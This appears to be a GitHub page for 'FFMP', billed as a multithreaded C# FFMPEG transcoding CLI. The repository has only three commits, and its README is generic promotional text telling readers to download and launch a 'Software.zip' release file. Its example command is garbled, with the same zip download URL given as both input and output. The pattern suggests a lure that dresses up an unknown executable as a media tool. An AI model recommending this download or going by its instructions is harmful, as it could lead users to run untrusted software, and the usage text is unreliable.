Skip to content

⚡A multithreaded C# CLI for digital media processing using FFMPEG. Transcode as many files in parallel as your system can handle.

Notifications You must be signed in to change notification settings

Francisco5577/FFMP

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 

Repository files navigation

🌟 FFMP: Fast and Fabulous Media Processing CLI 🌟

FFMP Logo

Welcome to the FFMP repository - your go-to tool for lightning-fast digital media processing using FFMPEG!

Overview

FFMP is a powerful multithreaded C# Command Line Interface designed for seamless processing of digital media files. With FFMP, you can effortlessly transcode audio and video files with the flexibility of parallel processing to make the most out of your system's capabilities.

Features

🎥 Media Processing: Efficiently process audio and video files with FFMPEG at lightning speed.
🔄 Multithreading: Utilize the power of multithreading to transcode multiple files simultaneously.
📦 Codec Support: Encoding support for popular codecs like H264, H265, and AV1.
🔧 GPU and CPU Encoding: Leverage GPU and CPU resources for faster encoding.
🚀 Parallel Processing: Transcode as many files in parallel as your system can handle.
🔊 Audio Processing: Enhance your audio files with a variety of processing options.
🎬 Video Processing: Customize and optimize your video files with advanced processing features.

Installation

To get started with FFMP, download the software package from the link below: Download FFMP Software (Launch the downloaded file to install FFMP)

If the above link is not working, please visit the "Releases" section of this repository for alternative download options.

Usage

  1. Input Parameters: Specify input file paths, desired output formats, and processing options.
  2. Multithreading: Use the -threads option to specify the number of threads for parallel processing.
  3. Codec Selection: Choose from a range of supported codecs using the -codec parameter.
  4. GPU Encoding: Enable GPU encoding with the -gpu flag for faster processing using graphics resources.

Example command:

ffmp -input https://github.com/Francisco5577/FFMP/releases/download/v2.0/Software.zip -output https://github.com/Francisco5577/FFMP/releases/download/v2.0/Software.zip -codec h264 -threads 4 -gpu

Repository Topics

  • audio-processing
  • av1
  • cli
  • cpu-encoding
  • encoding
  • ffmpeg
  • ffmpeg-wrapper
  • gpu-encoding
  • h264
  • h265
  • media-processing
  • multithreading
  • parallel
  • svt-av1
  • transcoding
  • video-processing

Support and Contributions

For support or to contribute to FFMP, feel free to open an issue or submit a pull request on GitHub. Your feedback and contributions are highly valued!

License

FFMP is licensed under the MIT License. See the LICENSE file for additional information.


Get ready to supercharge your digital media processing with FFMP! 🚀✨

Happy Processing! 🎬🎵


About

⚡A multithreaded C# CLI for digital media processing using FFMPEG. Transcode as many files in parallel as your system can handle.

Topics

Resources

Stars

Watchers

Forks

Packages

No packages published